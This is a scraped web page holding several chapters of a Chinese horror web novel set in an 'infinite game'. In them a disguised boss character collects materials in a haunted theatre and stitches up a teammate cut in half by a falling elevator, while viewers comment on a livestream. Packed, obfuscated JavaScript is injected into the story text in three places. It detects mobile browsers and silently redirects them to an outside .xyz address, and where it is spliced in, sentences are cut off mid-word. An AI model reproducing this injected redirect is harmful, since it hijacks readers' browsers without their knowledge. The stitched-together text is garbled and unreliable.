解倾河也是天梯榜前100名中,唯一一位初始选择缝纫术的人。玩家们讨厌缝纫卡,不只因为缝纫卡容易暴雷,也掺杂着对解倾河的仇恨。 看到贺彩音手中的功能卡,刘明眼睛一亮。 抽到高等级的学徒卡,功能卡无疑是救星。 若不是形势所迫,贺彩音也不愿意把最好用的【功能卡】展示出来,但现在,稳住队友这件事更紧迫。 她举着自己抽到的卡牌:“我的转换卡可以救你。先活着出去,我们的账有的是时间算。” 刘明满脸的横肉抖了抖,从嗓子眼里吐出几个字:“行,暂时合作。丑话说前头,我们的账必须得算。” “合作就听我安排,”贺彩音说,“我一会儿想办法甩开孟绎,让他单独行动……” 贺彩音和队友们密谋时,习惯性地用余光瞟着孟绎的方向。 这次,她一眼扫过去,却发现孟绎消失了。 四个人定定地瞅着孟绎刚才站的位置,那里的红丝绒窗帘被剪断,孟绎则不知所踪。 “他好像把我们孤立了。”贺彩音耸耸肩。 * 其他四个人小声密谋时,孟绎没听他们在说什么,至于队友孤立他……多虑了,孟绎独居百年,脑中从未有过“副本中合作通关”这个概念。 他想和贺彩音多接触,进一步了解无限游戏,但他预想的频率是隔3天问候一句“早上好”。 今天和贺彩音说了30多句话,够多了。至于贺彩音心里的小九九,孟绎不知道,也没兴趣知道。 孟绎剪了一块很喜欢的红丝绒布窗帘,准备缝个小荷包,在四人嘀嘀咕咕的声音中,悄悄地离开,不发出一丝声音。 【哈哈哈哈哈哈!在别人孤立我之前,孤立所有人!】 【挺有性格一新人。】 【独狼只会死得更快啊!】 【虽然头铁选了缝纫,但你们不觉得他很有大佬的气场么?】 【有人在意孟绎剪窗帘这件事么?窗帘有问题么,他为什么要剪?】 【缝纫原材料?】 【不对啊,游戏里的缝纫术主要缝尸体、人皮、兽皮、鬼怪灵质……总之不是普通布料,和外面的缝纫手工可不同。】 【此举大有深意,我再看看。】 4. 僵化剧院(2) 剧院共五层,“回”字结构,外圈是展厅、库房、办公室、服装室、排练室等,内圈则是剧场演出厅。玩家们从宾客入口进入,先看到的是一个接待厅。 接待厅空旷,孟绎扫了一圈,没什么值得注意的地方,有两扇通往演出厅的门,孟绎推了一下,门被锁住了。 红字提示弹出:门不能从这一侧打开。 【看到门就推?不怕门后面藏着什么东西?这新人还得练】 【他推门时我挡住了屏幕,我怕跳脸杀。幸好门被锁住了】 【不对吧,他怎么还在推门啊???门上锁了!】 【他不会想用蛮力破开门吧?】 遇到推不开的门怎么办?用力推,门就是这么用的。 第一次,孟绎随手一推;第二次,孟绎用了7成力气;第三次,孟绎用了全部力气。 门还是没推开。 以孟绎的力气,他想打开任何一道防盗门都不需要钥匙。这扇破旧、掉漆的木门,竟然能拦住他? 按在门板上的手青筋凸起,观众们看不到的掌心中,出现一道淡蓝色的法阵。法阵边缘扩散,穿过指缝,攀上手背…… 还是打不开这扇门。 在法阵被观众门发现之前,孟绎及时收回手。看来,副本里的地形不能用蛮力破坏。 提尔·纳·诺恪是个充满规则的世界,即使是孟绎也不得不遵守某些规则,他只好放弃迫害这扇门。 他找到一台电梯,扯开吱呀作响的铁栅栏门,侧身挤进去,随手按了顶楼5层。 剧院内灯光昏暗,老式电梯吃力地往上升,不断发出刺耳的噪音,仿佛电梯里站了10头大象。 这么慢,还不如走楼梯呢。孟绎百无聊赖地打量起电梯里的海报。 舞剧《怨侣》 编导:克罗亚 主演:克吉尼亚、麦格纳、布鲁图斯 演出时间:1175/12/28--1176/1/03 …… 海报中,一对情人模样的男女紧紧相拥,他们的身影很渺小。 占据海报大部分面积的,是一位美艳的女人,公主装扮,头戴皇冠、衣着华贵,她伸出一只手悬于二人头顶,仿佛那对情侣是被她操控的傀儡。 海报大面积使用暗色,无数水银似的鬼魂围绕情侣,再加上那位把邪恶写在脸上的邪恶反派,整张画给人以鬼气森森的不祥之感,倒是挺符合《怨侣》这个舞剧名。 而且,不知道为什么,女主角的脸被划花了。 孟绎看了几眼,不感兴趣地收回视线。海报是纸质的,他没有撕下来收藏的想法。 就在孟绎移开视线时,海报中的男主角,眼睛动了一下,直勾勾地盯着孟绎。 【你转头看一眼啊!】 【可惜了,我还想看新人被吓得魂飞魄散呢。】 咣当一声,电梯卡住,只有2/3的区域到达四楼,任由孟绎怎么按楼层也不再动弹。 别无他法,孟绎扯开铁栅栏门,撑着四层的地板爬出电梯。 刺啦一声,栅栏尖角划破孟绎的上衣,一个灰色小包裹掉在电梯里。 小包裹里,是孟绎的针线材料。孟绎捏着被划破的衣襟,叹了口气。包裹肯定要捡起来的,但是,再钻进去,很可能再次划破衣服。 孟绎的胳膊穿过铁栅栏的缝隙,去抓灰色小包裹。 忽然间,孟绎感觉哪里不对劲,他偏过头,盯着电梯里的海报。 画面中央,女主五官非常清晰,是那个美艳邪恶的女人。 视线上移,反派公主依然头戴皇冠、身着华服,但她的脸被划花了。 女主和反派的角色互换了? 就在孟绎维持着伸手拿东西、偏头观察海报的姿势时,铰链“啪”的一声断裂,电梯下坠。 【和你的胳膊说再见吧】 【留了一手】 【厌蠢症犯了,就算是游戏外,电梯卡住了,东西掉在电梯里,正常人也不会伸手去取吧??】 【选缝纫术的能是什么正常人?】 【不喜欢的可以点个踩,没必要划走。】 【等会儿?他胳膊没断!】 孟绎好整以暇地站起身,完整的、没有一丝伤口的右手抓着他的灰色小包裹,他掸了掸黑丝绸上衣的灰尘,转头离开,仿佛没遇到任何怪异之事。 【电梯下坠的速度那么快??他及时反应过来还把胳膊抽出来了?】 【假的吧?毫秒级的反应速度?应该是技能?】 【新人哪来的技能】 【我慢放20倍,看清了,他就是在这0.1秒内抓住包裹,把手抽回来。】 【厉害,反应速度比猫还快】 【我就知道,敢选缝纫术的,都有点东西】 【我比较好奇,包裹里有什么东西,值得他冒险去拿】 电梯砸在一层,轰隆的撞击声响彻整个剧院,孟绎没听到似的,慢条斯理地打开灰色小包裹 观众们屏息凝神地观看。 包裹里是针线。 他的衣服被划破了,缝补衣服是正事。什么?通关?走个流程的新手副本罢了。 直播间所有观众,眼睁睁看着孟绎找了一张不算太旧、不算太脏的椅子,云淡风轻地坐好,开始给自己补衣服。 弹幕【……】 * 咚——! 电梯砸下来的声音,给刘明吓得打了个激灵,他们警惕地盯着声音传来的方向,不自觉地缩到角落里。 等了5分钟,没有异常出现,贺彩音这才开口:“怎么一回事啊。” “肯定是扫把星,”刘明咬牙切齿地说,“他又惹麻烦了呗。” 系统页面中,孟绎的头像还亮着,证明他没有死。四人其实也不是很关心孟绎死没死。 “先别想孟绎的事了,”贺彩音说,“我们先做个简短的自我介绍,熟悉了,合作才顺利。” 其他三个人点点头。 “我叫贺彩音,被布道者骗进来的,我在现实中是个医生,急救知识我比较熟,出现紧急情况,我或许能帮上忙。” 贺彩音的自我介绍,一半真一半假。医生是真,被骗进来是假,她是主动进入无限游戏的。但在这里,谁不说几句谎话? “刘明,被骗进来的,现实里是收保护费的混子。” 被吓得缩头缩脑的男生说:“我叫常昊,也是被骗进来的。大学生,欠了十几万网贷,那狗东西忽悠我两句,我真信了。” 说着,常昊扇了自己几个巴掌,悔得咬牙切齿。 队伍里另一个女生说:“我叫苏凡,快消品营销策划,解倾河说我的才能被埋没了,和他一起创业,年收入能翻三倍,他嘴皮子真厉害啊,把我忽悠的找不着北。” 一个白领,一个学生,一个混子。他们的职业技能在游戏里一点用也没有。贺彩音再次在心里叹了口气。 “我们算是认识了,想想怎么通关新手副本吧,”贺彩音说,“刘明,你的学徒行为卡,内容是什么?” 刘明将卡片展示给队友看,卡片中央写着:观看一场《怨侣》的彩排。 谁愿意在这种情况下看舞剧彩排啊?谁知道彩排过程会发生什么? 贺彩音活动着下颌关节,思索良久。 行为卡对玩家有利有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随后,观众们目瞪口呆地看着孟绎又坐回那把比较舒服的椅子中,从系统仓库取出《提尔·纳·诺恪手册》,翻到《游戏规则》章节,认真地阅读起来。 【……???】 【上轿现扎耳朵眼儿?进入副本前的三天,他没问过游戏规则么?】 【也就是说,他之前看起来成竹在胸,实际上只是闲逛???】 游戏还是很贴心的,考虑到存在孟绎这种一点准备也不做直接进副本的新人玩家(或许只有孟绎一人),游戏规则写得很详细。 规则简单易懂,进入副本后,精研缝纫术,需要获得一定数量的【灵线】。精研炼金术,则需要获得一定数量的【哑盐】 【灵线】和【哑盐】的位置,已在地图中标注出来。新手副本,搜集两捆灵线或两瓶哑盐即可。 完成“搜集”这个动作,就算达成任务。副本中,有可能遇到需要使用灵线的情况,玩家搜集到灵线后,在副本中用光了也无所谓,只要搜集过两捆灵线,就可以离开。 灵线和哑盐是无限世界必备材料,副本之外、下一个副本也会用到。行有余力的玩家,会在情况允许时多囤一些。 就像刘明所说“通关又不需要搞清楚这里发生过什么”,搜集任务完成,即可离开。 很简单嘛,孟绎心想。他从系统仓库中取出地图,沉甸甸的,摸起来像人皮……应该就是人皮。 人皮地图中,显示着孟绎和队友的位置,还有20个标记点,那是存放灵线或哑盐的位置。 孟绎抬头看向面前的墙壁。他所处的房间隔壁,是主舞练舞厅,那里就有一捆灵线。 地图上,主舞练舞厅被一块血迹染红,《游戏规则》中说,被染红的区域很危险。 孟绎毫不犹豫地推开主舞练舞厅的门。 【……一共有5捆灵线,他非得搜集危险区域里的这一捆么?】 【我倒要看看,他什么时候把自己作死。】 5. 僵化剧院(3) 练舞厅内,一整面墙的破碎镜子,照出许多个孟绎的身影,在昏暗的光线中忽隐忽现。 房间内除了镜子,就是窗户和窗帘,一览无余,灵线不在一眼就能看到的地方,孟绎目不斜视地走进去,看起来目的明确。 【他看到灵线了?我咋没看见】 【光线这么暗能看清什么】 孟绎咔嚓咔嚓剪掉了窗帘上的蕾丝。 【不是哥们……】 【为什么啊,我想不明白,看到窗帘就剪,这个副本的隐藏线和窗帘有关?】 对于只想保命的普通玩家来说,搜集数量足够的材料,不缺胳膊少腿地逃出副本,实属万事大吉。 搜集材料的过程中,有较低可能获得一些【剧情牌】,通过剧情牌上的信息,能拼凑出大致的故事。但剧情牌信息零散,往往和事实相去甚远。 有些实力更强的玩家,不满足于通关,他们会尽量探索副本的隐藏线路,搜集【隐藏剧情牌】,这一过程更凶险,奖励也更丰厚。 系统一旦检测到玩家可能获得【隐藏剧情牌】,会立刻给直播打码,因此,玩家也不知道如何进入隐藏线,更不知道副本背后究竟发生了什么。 一张【隐藏剧情牌】,就能在交易市场买出高价。 此外,极少数情况下,玩家通关后,副本将永久关闭,这种情况被称为“完美通关”。至于副本为什么关闭,完美通关的过程中发生了什么,观众们无从得知,因为发生这种情况之前,直播会立刻停止。 关闭了副本的玩家,对自己的经历三缄其口,其他人只能看到他们获得令人瞠目结舌的丰厚奖赏。副本为何关闭,将永远成为秘密。 【剪窗帘和隐藏剧情牌有关吧,一定是这样的】 【这新人很狂妄啊,选个缝纫术,能活着出去都不容易了】 【他是不是解倾河的粉丝啊,解倾河开局选择缝纫术,孟绎也选;解倾河新手副本就走了隐藏线完美通关,他也要走隐藏线】 【呸!晦气。】 【哪个xx把这三个字打在弹幕上?赶紧滚出去】 【高价求一双没看过这条弹幕的眼睛】 【送出赛博洗眼液和柚子叶,晦气散去】 剪刀刺啦刺啦地撕开布料,声音清脆悦耳,孟绎小心地操控着剪刀,想将一个蕾丝花边完整地剪下来。 平地惊雷的哭嚎,也没让孟绎的剪子歪了一点儿。 【你们听没听到一个女生又哭又吼?】 【听到了听到了!房间里除了孟绎没有其他人啊!】 【他怎么还在剪窗帘啊,没听到这个奇怪的声音么!】 【你们快看……镜子里】 练舞厅虽破败、空旷,但地面很干净。而镜子里的练舞厅地板,却出现了一团血迹。 孟绎仿佛什么都没发现似的,不紧不慢地剪裁窗帘,直到,窗帘布被一块飞溅的血迹染红,剪刀剪到湿润的布料,发出咯吱咯吱的声音。 布料剪刀不能剪乱七八糟的东西,比如沾血的布料,一旦剪过其他的东西,这把剪刀就不能再用了。 而且布料剪刀价格不菲,这把剪刀算是废了,孟绎不悦蹙眉,看向血液喷过来的方向。 他身后,凭空出现一男一女两个人。 女生的哭嚎凄厉瘆人。 “你为什么抛弃我?” “你醒悟啊,她在骗你!你怎么能和她站在一起,与我为敌?” 她的舞台妆哭花了,双目赤红,眼睛下方,一道道腮红混着粉底形成的印子,咬牙切齿,面目狰狞。 女生头发乱糟糟,一边质问着“为什么”,一边撕扯着素白的舞台纱裙,把布料狠狠砸在男生脸上。 “布鲁图斯,你说话啊!为什么!”女生嘶吼着,声音和神情中,是令人心碎的绝望。 名为“布鲁图斯”的男生一摊手,无可奈何地摇摇头,许久后才开口:“麦格纳,我们已经分手了,我和谁在一起,与你无关。” 麦格纳,布鲁图斯,这两个出现在《怨侣》宣传海报上的名字。孟绎饶有兴致地旁观两人吵架,特地观察了一下他们的衣服。 正是出现在海报上的男女主戏服。 “克吉尼亚是骗子!”麦格纳几乎在尖叫。 克吉尼亚,想来就是那位饰演反派的美艳女人。 麦格纳:“她毁了整个舞团,拆散了我们,她邪恶又傲慢,你怎么能……” “至少克吉尼亚不会像个疯子一样缠着我不放,”布鲁图斯用冷静的声音打断她,“麦格纳,冷静一些,你是主舞,不是精神病。” 说完,布鲁图斯与前女友擦肩而过,漠然的背影一瞬间令麦格纳哑口无言。 练舞厅一度安静得像废墟,镜子中,布鲁图斯踩到那片血迹…… “叛徒。”麦格纳轻声说。 她抄起身旁的椅子,狠狠砸中布鲁图斯的后脑,布鲁图斯登时昏迷,直挺挺地倒在地上。 麦格纳没有收手,一下接一下地砸着布鲁图斯。椅子散架,她就抓过一根木凳腿的碎片,刺进布鲁图斯的身体里。 此刻的麦格纳,反而无比冷静,她紧抿双唇,眼神沉着,仿佛在脑中排练了数千次杀死布鲁图斯这件事。 练舞厅中的血迹,与镜中的血迹重合。刺啦一声,麦格纳拔.出血淋淋的木凳腿,飞溅的血液落在窗帘上。 孟绎手中,已经剪下来的蕾丝布料,滴答滴答往下淌着血。 再一眨眼,二人的身影消失,练舞厅中央,只剩一摊浓稠、鲜艳的血泊。 血泊中亮着淡淡的银蓝色光芒。 【灵线出现了!发光的就是灵线,在血泊里】 【猜一猜,新人敢不敢拿】 【用脚趾头想,都知道那滩血液很危险】 孟绎不知道发光的是灵线,但正常的血液不会发光,这条常识孟绎知道。他蹲在血泊旁,用手指拨弄着跳跃的小光点。 细线一圈一圈地缠住孟绎的手指,血泊咕咚咕咚地冒泡,一张惨白的、狰狞的、饱含仇恨的脸从血泊中浮出。 是布鲁图斯,他被砸得脑袋变形,眼球暴突,这副尊容,吓不到孟绎,但他很讨厌丑东西。 孟绎一点儿也不想碰这颗丑陋的脑袋,他想抽回手,但缠住他手指的灵线,看似纤细脆弱,却坚韧得惊人,孟绎用尽力气也收不回胳膊。 【凉喽凉喽,游戏里的鬼,不能直接暴力超度,必须使用道具卡或功能卡。】 【新人直接进入危险区域就离谱,地图上都用血迹糊上了,地狱无门他闯进来】 【但游戏里也没有必死局,灵线搜集完成和鬼怪攻击之间,一定有个时间差,新人跑得快,或许还有一线生机。】 【我很期待他的表现】 不能直接对副本中的“鬼”使用暴力,这条规则孟绎清楚。这是一个被卡牌限制的世界,没有克制“鬼”的卡牌,纵使玩家是武神转世,也不能伤害鬼身分毫。 提尔·纳·诺恪中的“鬼”,和外界人认知中的鬼不同,这里的鬼不是魂魄,没死透,但也称不上活着,他们的魂魄被封印在卡牌里,往往没有理智,精神失常。 玩家们口中的“鬼怪”,学名应该是“巫鬼”,他们的灵魂被卡牌封印之前,都是巫术师——就是那个精通缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487764|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纫术或炼金术的巫术师。 因此,也有玩家猜测,死在副本里的玩家,会成为副本里的巫鬼。 除巫鬼之外,还有一股玩家的敌对势力——秘术师。玩家一般称之为“副本BOSS”。孟绎就是秘术师。 秘术师的灵魂没有被封印,但他们的行动也受到限制。他们和孟绎一样,一头做着无聊工作的可怜牛马。 大部分情况下,秘术师不会攻击玩家,甚至会伪装成人畜无害的友善NPC,向玩家透露一些副本线索。 毕竟这份工作很无聊,秘术师被禁锢在副本里,和玩家聊天,是他们为数不多的消遣。 只有当玩家开始探索隐藏剧情时,万相才会向秘术师们下达命令:攻击玩家。 玩家对抗秘术师,就不会受到卡牌限制了,拳脚相加、拿锤子砸、拿刀子捅……都能对秘术师造成伤害。八仙过海各显神通,能从秘术师的魔爪下逃命就行。 孟绎也曾认真思考过:秘术师是谁,从哪儿来,要到哪里去?为什么被困在副本里?为什么他有记忆以来就在副本里? 每当他思考这些问题就会头痛,哲学问题嘛,感觉头痛是正常的。 在大脑再一次思考“从哪来到哪去”的问题时,孟绎及时停止思考。 布鲁图斯的牙齿将要咬住孟绎的胳膊,孟绎眯起眼睛,面无表情地盯着他。 孟绎作为终极BOSS奈落珈的强大之处,就在于他能使几乎所有卡牌失效,包括封印巫鬼灵魂的卡牌。 …… 混沌、仇恨、恐惧、愧疚……多种复杂的情绪融合在一起,全部化为攻击欲望,布鲁图斯恨不得一口咬断眼前的胳膊,嚼碎了,咽下去,喝他的血,吃他的肉。 忽然间,布鲁图斯感受到直抵灵魂的震颤,头颅仿佛被劈出一道裂缝,凛冽的凉气从裂缝中灌进来。 布鲁图斯转动干涩的眼球,望向面前的人。 和那双沉静的黑眸对视时,他感受到一种无边无际的悲哀。悲哀褪去,只剩下冰凉。 他会消失,眼前的人能让他在顷刻间逝去。 【……你俩在这儿深情对视干什么?】 【咋不动弹了?咬啊】 【我是不是应该给你们配一个言情剧bgm?】 最后一缕灵线缠住孟绎的手指,变成一张黑色的命运级卡牌。卡牌名称是“灵线”二字。 将卡牌收回系统仓库,孟绎云淡风轻地收回手,起身离开。 【新手副本,攻击速度慢一点很正常,慢到这种程度不正常】 【这是副本中的危险区域,为什么能让玩家慢悠悠地拿着道具离开!】 但孟绎确实毫发无伤地离开了,甚至有时间用干净的窗帘仔细地将每一根手指上的血迹擦干净。 直播间的观众看傻了眼,但在观众的视角中,孟绎确实什么都没做,他们只好用“新手副本难度不高”解释这一切。 其实,孟绎完全可以让封印布鲁图斯的卡牌化为齑粉,让布鲁图斯魂飞魄散。 但《游戏规则》中写着:为传播知识,通关过程将被直播。 直接抹除布鲁图斯太引人注目,多一事不如少一事。 就在孟绎离开练舞厅时,一张血色卡牌“嘭”的一声,凭空出现在孟绎眼前,他拿起卡牌一瞧,牌面上写着:【剧情卡:情杀?】 此刻,所有身处新手副本的玩家,都听到系统的声音: “【杂役-孟绎】获得第一张【剧情卡】” “【杂役-孟绎】获得成就【先知】,同一批进入新手副本的玩家中,最先获得剧情卡的玩家将获得【先知】成就。” 6. 僵化剧院(4) 孟绎获得【先知】成就的半小时前。 刘明抽到了学徒级的行为卡,卡牌要求他观看一场舞团排练。 “我绝不可能看这群鬼东西跳舞,”刘明神经质地自言自语,“我不看,我不看,离我远点……” 他的嘟囔声,让常昊和苏凡的脸色更加难看,贺彩音则在队友们看不到的地方,嫌弃地撇了撇嘴。 完成行为卡的任务,很可能遇到危险,贺彩音等人决定先找到【厄运蜡烛】。 功能卡不能随时随地使用,必须借助【厄运蜡烛】才能发挥功效。 找到厄运蜡烛,再使用转换卡,就可以将卡牌降级、或者改变卡牌的内容、类型。 地图中标注了厄运蜡烛的位置,在五楼。 贺彩音等人本想乘坐电梯去五楼,但到电梯间一看,他们不久前听到的巨响,就是电梯坠落的声音,如此一来,谁也不敢坐电梯,改为走楼梯。 楼梯里漆黑不见五指,四人打开手机手电筒,胆战心惊地往上走, 不知道是不是他们太紧张的缘故,这里的黑暗格外……浓稠。 不像是缺少光线形成的黑暗,而像是空气中飘满黑色透明物,阻挡了光线。 贺彩音走在最前面,手机的手电筒最多照亮她面前的一个台阶,她屏息凝神,脚步轻缓无声,仿佛怕惊扰了什么东西…… “啊——!” 常昊的尖叫声把所有人吓了一激灵,贺彩音急转过头,压低声音道:“你一惊一乍的干什么?” “我我我我我……”常昊的声音抖得不成样子,“我听见有人在我耳边笑!” 话音刚落,贺彩音也听到诡异的笑声。 “嘻嘻。” “呵呵呵……” 笑声很活泼,却透露着令人不寒而栗的恶意。 四人条件反射地挤在一起,缩在楼梯平台的拐角处,大气都不敢喘一口。 似有若无的笑声向他们缓缓逼近,黑暗中,隐约有一道曼妙的身影。 “把手电筒关上!”贺彩音压低声音说,随后蹲下身,死死闭着双眼。刘明和苏凡立刻照做,被吓破了胆子的常昊,慌慌张张地想关掉手电筒。 他手抖的厉害,一个没拿稳,手机咣当一声砸在地上,在空旷的楼道中,这点微小的声音也震耳欲聋。 恐惧彻底冻结了常昊的理智,他第一反应,竟然是捡起手机。 就在常昊的手握住手机时,一只纤长、洁白的女人的手,轻轻覆在常昊的手背上。 常昊全身觳觫,吓得牙关都打不开,死死盯着那只手。 一张美颜、妖娆、高贵的面庞,浮现在常昊眼前,她扬起鲜红的唇,向常昊一笑。 那一刻,常昊感觉心脏都不会跳了,视线中一片漆黑,他拼尽全力嗷嗷惨叫,对着那张美人脸又挥又打。 “冷静!冷静!没事了!” “她走了。” “你他爹的给我安静!”刘明一拳头砸在常昊脑袋上,常昊的视觉恢复,眼前的楼梯间亮起了灯光。 他还在声嘶力竭地尖叫,直到刘明给了他第二拳。 “女鬼!女鬼!”常昊连滚带爬地逃出楼梯间。其余三个人,经历了这一遭,也不敢爬楼梯了,跟着常昊离开。 折腾了好一会儿,四人又回到刚进入副本时的接待厅,开局45分钟,进度为零。 众人未免气馁,而常昊还是一副被吓得魂飞魄散的样子,大小便失禁,把自己缩成一团,在墙角里瑟瑟发抖。 其他三人面无表情地瞅了瞅常昊,又在彼此间交换了一个眼神。 “我们先走?”苏凡提议。贺彩音则扭头就朝电梯的方向走。 电梯有危险,但孟绎没死。他作为最倒霉的幸运F都没死,他们三个坐电梯,问题应该也不大。 眼见着三个队友抛弃自己,常昊终于恢复了一些神智,痛哭流涕地朝他们爬过去:“我们一起走!别留下我一个人!” 贺彩音连拖带拽地,把吓瘫的常昊塞进电梯里,按下5楼按键。 常昊:“啊啊啊——!” “没完没了了是吧!”刘明狠狠踢了他一脚,“再鬼哭狼嚎唤老子先弄死你!” “我,我我我……”常昊颤巍巍地伸出一只鲜血淋漓的手掌,僵硬地低下头,朝自己身上一看。 左胸口处,有一片拳头大小的血迹。常昊扯开上衣,左胸处别说伤口了,连一丁点血迹都没有。 众人正诧异时,苏凡倒吸一口凉气,指着常昊的上衣:“内兜里有东西,那东西在动……” 进入提尔·纳·诺恪后,所有新人都领取到一套统一的制服,外衣时一件垂至腰际的黑色斗篷,比较宽松,内侧有口袋。常昊就穿着黑色斗篷进入副本。 现在,内侧口袋的薄布一张一缩,有什么东西在里面突突地跳。 贺彩音奓着胆子,拿出口袋中的东西,竟然时一颗跳动的心脏! 她吓得手一甩,心脏掉在地上,仍兀自跳动。常昊扯着嗓子哀嚎了一声:“我的心脏被女鬼挖出来了!” 恰在此时,电梯咣当一声巨响,和孟绎的经历一样,电梯卡在四楼中间,头顶的铰链发出尖锐刺耳的摩擦音。 贺彩音最先反应过来,丢下一句“先离开这里”,就扒开电梯门,钻了出去,苏凡紧随其后。 二人爬到四楼,扭头一瞧,刘明这愣头愣脑的火药桶,竟然挺讲义气,拖着常昊,想和他一起跑。 常昊早已被吓破了胆,他被极端的恐惧淹没,仿佛溺水的人,脱水活鱼似的扑腾,拼尽全力不配合救援。 费尽九牛二虎之力,刘明才把常昊拖到电梯口,他先钻出来,扯着常昊的胳膊,拼了命地把他往外拽。 常昊死死攥着那颗心脏,一抬头,正看到电梯中的海报。 “她在看着我!”常昊喊。 队友七嘴八舌地劝常昊冷静一些,先离开电梯。但常昊死死盯着《怨侣》的海报,拼尽全力也无法将视线从那个妖艳女人的脸上移开。 刘明一咬牙,把常昊的胳膊都拽脱臼了,终于将常昊的一半肩膀扯到电梯外,又揪着他的衣领,把他的脑袋拽出来。 脑袋被拽出来后,常昊的视线终于从海报上移开,他如梦初醒,手脚并用地往外爬。 还是晚了一步。 电梯下坠,将常昊腰斩,血液喷了三个队友满身满脸。 三人呆若木鸡地俯视着常昊,他还没完全死透,但那副模样,实在惨不忍睹…… 系统提示音响起:“【杂役-孟绎】获得第一张【剧情卡】” “【杂役-孟绎】获得成就【先知】……” * 【剧情卡:情杀?】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487765|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无限游戏的卡牌,学名巫术牌。巫术牌的画风,类似蒂姆·伯顿,颇有哥特风格,画面阴暗,不重写实,情感传达强烈。 卡牌画还有些维特塔罗牌的风格,画面中有许多有象征意义的元素。 比如这张剧情卡,女主麦格纳举起椅子,朝布鲁图斯的后脑砸去,正是孟绎看到的那一幕。 然而,麦格纳举起的那把椅子,椅子腿上长出绿叶,仿佛充满生机的枝条。 孟绎可以肯定,砸死布鲁图斯的椅子没有长出绿叶。 孟绎对巫术牌比较了解,毕竟,游戏中很多巫术牌、特别是高级巫术牌,就是孟绎制作的。 巫术牌中,绿叶象征希望。希望掌握在麦格纳手中。 再看牌名,“情杀”二字后跟着一个问号。这一标点大有深意,似乎在暗示玩家,凶杀案背后有隐情。 孟绎收好剧情牌,这时他听到哀哀惨叫。 循声找过去,看到他的队友们站在电梯口,盯着被腰斩的常昊,惊恐得不知如何是好。 看这情形,孟绎很快就猜到了前因后果,他瞥了两眼,从贺彩音三人身后波澜不惊地路过,问都没问一句。 【这么淡定???】 【冷脸酷哥,我开始有点喜欢他了。】 【哈哈哈哈哈默默飘走这一幕有点好笑】 【话说回来,孟绎用他的灵线把常昊的伤口缝上,常昊还能多活几个小时】 【灵线要留着制作重要道具,救常昊一个胆小鬼废物干什么?】 孟绎走出五六米远,忽然想到,灵线的一个重要作用就是缝合伤口,他缝过丝绢缎绒麻……还没缝过人皮呢。孟绎有点手痒痒。他又悄无声息地来到队友的身边。 “我应该可以救他。”孟绎说。 【不是吧?圣母?】 【灵线留着绣人皮幸运符啊,消解一下幸运F】 【救活了又能怎样,半截身体在电梯里,一个失去行动力的累赘,该不会希望队友背着他通关吧!】 三个人木然地瞅着孟绎,只见孟绎取出灵线,又拿出【缝纫术杂役】身份卡自带的针,迅速地穿好线,打量着常昊的伤口。 孟绎盘腿坐在半截常昊身边,面色如常地摆弄着那触目惊心的伤口,仿佛那些粘稠的液体和蠕动的内脏,也只是一块布料。 很快,孟绎落下第一针。 没打麻药,但对常昊的情况来说,多一点针扎穿皮肤的痛,也不是很难忍受了。 常昊不时抽搐一下,哀嚎声听得人肝肠寸断。孟绎垂着眼眸,淡淡地说了句:“安静点。” 他的声音仿佛有魔力,常昊真的安静了,也可能是因为他有点死了,没力气嚎。 在这诡异又宁静的气氛中,孟绎很快将常昊的伤口缝好。收针时,轻轻将灵线一拽,缝线没入皮肤之下,从外面看,毫无缝合痕迹。 暗针缝,第一次在人皮上实践,很成功。 孟绎欣赏了一会儿成品,带着一点儿自得地问贺彩音:“我缝的怎么样?” 贺彩音:“啊?” 这是缝得好不好的问题么?? 【……我有一种奇怪的感觉,孟绎不是想救人,他单纯想缝个人皮玩玩。】 【同感】 【我真想顺着网线爬过去,在他耳边大吼:这是玩命的游戏,拜托你认真一点!】 7. 僵化剧院(5) 人皮缝纫初尝试并顺手救了个人之后,孟绎转头就走。 常昊久梦乍回,恍然惊醒,两条胳膊拼命地扒拉,亦步亦趋跟在孟绎身后:“大佬!不要丢下我,你救人救到底,送佛送到西,带我离开副本吧,我什么都听你的!” 他两只手死死攥住孟绎的脚踝,孟绎感到奇怪地俯视着他。 “救救我吧。”常昊哀求。 炼金术侧重于炼制道具、药水、武器。原料和成品多是无机物。缝纫术侧重于治疗、傀儡,和“生命”关联密切,能让有机物化腐朽为神奇。 用炼金术炼制假肢难度很高,杂役根本做不到。在这方面,缝纫术优势很大,再找一捆灵线,找到腿,缝在身体上即可。 常昊期期艾艾地说:“我没有腿……您能不能……帮我……” “帮你把腿缝上?”孟绎问。 常昊:“可以么……” 他这一请求,多少有些贪得无厌。缝合双腿,还要消耗一捆灵线,孟绎为了救他,就要消耗两份重要材料。 再者,寻找灵线的过程,很可能遇到危险。 常昊已做好被拒绝的准备,正打算豁出脸皮恳求,却听孟绎说: “好。” “求求您了,您可怜可怜我……啊?” 孟绎:“我说可以。” 队友竟主动当他的练手材料,真是一位有奉献精神的好队友。 常昊那边,更是对孟绎感激不尽,简直把孟绎当做真神降世、圣父下凡。 二人都觉得对方是个好人,皆大欢喜。孟绎望了一眼黑黢黢的电梯井,思索着怎么拿常昊练手。 他要取回常昊的半截身体,还要再找到一捆灵线。这一过程中,不能带着常昊。 